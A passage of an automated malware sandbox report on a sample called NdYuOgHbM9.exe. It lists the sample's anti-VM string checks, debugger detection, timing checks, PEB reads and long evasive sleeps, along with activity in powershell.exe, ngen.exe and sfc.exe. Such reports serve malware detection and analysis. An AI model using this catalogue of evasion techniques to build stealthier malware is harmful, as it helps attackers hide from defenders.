Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: FAILCRITICALERRORS | NOGPFAULTERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WerFault.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: NdYuOgHbM9.exe PID: 2060, type: MEMORYSTR
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SBIEDLL.DLL
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory allocated: 1EF38FB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Memory allocated: 1EF52960000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD1C0 rdtsc 5_2_057AD1C0
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 6507 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3204 Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Window / User API: threadDelayed 9834 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe API coverage: 0.8 %
Source: C:\Windows\SysWOW64\sfc.exe API coverage: 3.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7336 Thread sleep time: -5534023222112862s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe TID: 7756 Thread sleep count: 136 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe TID: 7756 Thread sleep time: -272000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe TID: 7756 Thread sleep count: 9834 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe TID: 7756 Thread sleep time: -19668000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe TID: 7848 Thread sleep time: -75000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe TID: 7848 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe TID: 7848 Thread sleep time: -55500s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe TID: 7848 Thread sleep count: 37 > 30 Jump to behavior
Source: C:\Program Files (x86)\sXZLxxxVCvpdQOMpmsJLTDHHUKeepOfvgbaNCsuUxLUHfDBqRMOvfXspILySfYOM\tyVvDSdgzXcAfzWUYqtqOHNMkF.exe TID: 7848 Thread sleep time: -37000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\sfc.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\sfc.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\sfc.exe Code function: 12_2_02A9B800 FindFirstFileW,FindNextFileW,FindClose, 12_2_02A9B800
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: Amcache.hve.9.dr Binary or memory string: VMware
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.9.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.9.dr Binary or memory string: VMware, Inc.
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: Amcache.hve.9.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.9.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.9.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.9.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\'C:\WINDOWS\system32\drivers\vmmouse.sys&C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: Amcache.hve.9.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: VMware SVGA II
Source: Amcache.hve.9.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.9.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tyVvDSdgzXcAfzWUYqtqOHNMkF.exe, 00000010.00000002.4092344408.0000000001392000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000011.00000002.2133124462.000002AF1A6DB000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Amcache.hve.9.dr Binary or memory string: vmci.sys
Source: Amcache.hve.9.dr Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\vmmouse.sys
Source: Amcache.hve.9.dr Binary or memory string: vmci.syshbin`
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: vmware
Source: Amcache.hve.9.dr Binary or memory string: \driver\vmci,\driver\pci
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\vmhgfs.sys
Source: sfc.exe, 0000000C.00000002.4091957268.0000000002CE4000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllS$w
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: Amcache.hve.9.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.9.dr Binary or memory string: VMware20,1
Source: Amcache.hve.9.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.9.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.9.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.9.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.9.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.9.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: noValueButYesKey)C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: NdYuOgHbM9.exe, 00000000.00000002.1804365853.000001EF3AD80000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: C:\WINDOWS\system32\drivers\VBoxMouse.sys
Source: Amcache.hve.9.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.9.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.9.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.9.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\NdYuOgHbM9.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\sfc.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057AD1C0 rdtsc 5_2_057AD1C0
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_00417363 LdrLoadDll, 5_2_00417363
Contains functionality to read the PEB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576B570 mov eax, dword ptr fs:[00000030h] 5_2_0576B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576B570 mov eax, dword ptr fs:[00000030h] 5_2_0576B570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0572B562 mov eax, dword ptr fs:[00000030h] 5_2_0572B562
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576656A mov eax, dword ptr fs:[00000030h] 5_2_0576656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576656A mov eax, dword ptr fs:[00000030h] 5_2_0576656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576656A mov eax, dword ptr fs:[00000030h] 5_2_0576656A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05738550 mov eax, dword ptr fs:[00000030h] 5_2_05738550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05738550 mov eax, dword ptr fs:[00000030h] 5_2_05738550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_05740535 mov eax, dword ptr fs:[00000030h] 5_2_05740535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576D530 mov eax, dword ptr fs:[00000030h] 5_2_0576D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0576D530 mov eax, dword ptr fs:[00000030h] 5_2_0576D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0573D534 mov eax, dword ptr fs:[00000030h] 5_2_0573D534
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058055C9 mov eax, dword ptr fs:[00000030h] 5_2_058055C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E53E mov eax, dword ptr fs:[00000030h] 5_2_0575E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E53E mov eax, dword ptr fs:[00000030h] 5_2_0575E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E53E mov eax, dword ptr fs:[00000030h] 5_2_0575E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E53E mov eax, dword ptr fs:[00000030h] 5_2_0575E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_0575E53E mov eax, dword ptr fs:[00000030h] 5_2_0575E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057EB52F mov eax, dword ptr fs:[00000030h] 5_2_057EB52F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058035D7 mov eax, dword ptr fs:[00000030h] 5_2_058035D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058035D7 mov eax, dword ptr fs:[00000030h] 5_2_058035D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_058035D7 mov eax, dword ptr fs:[00000030h] 5_2_058035D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe Code function: 5_2_057DF525 mov eax, dword ptr fs:[00000030h] 5_2_057DF525
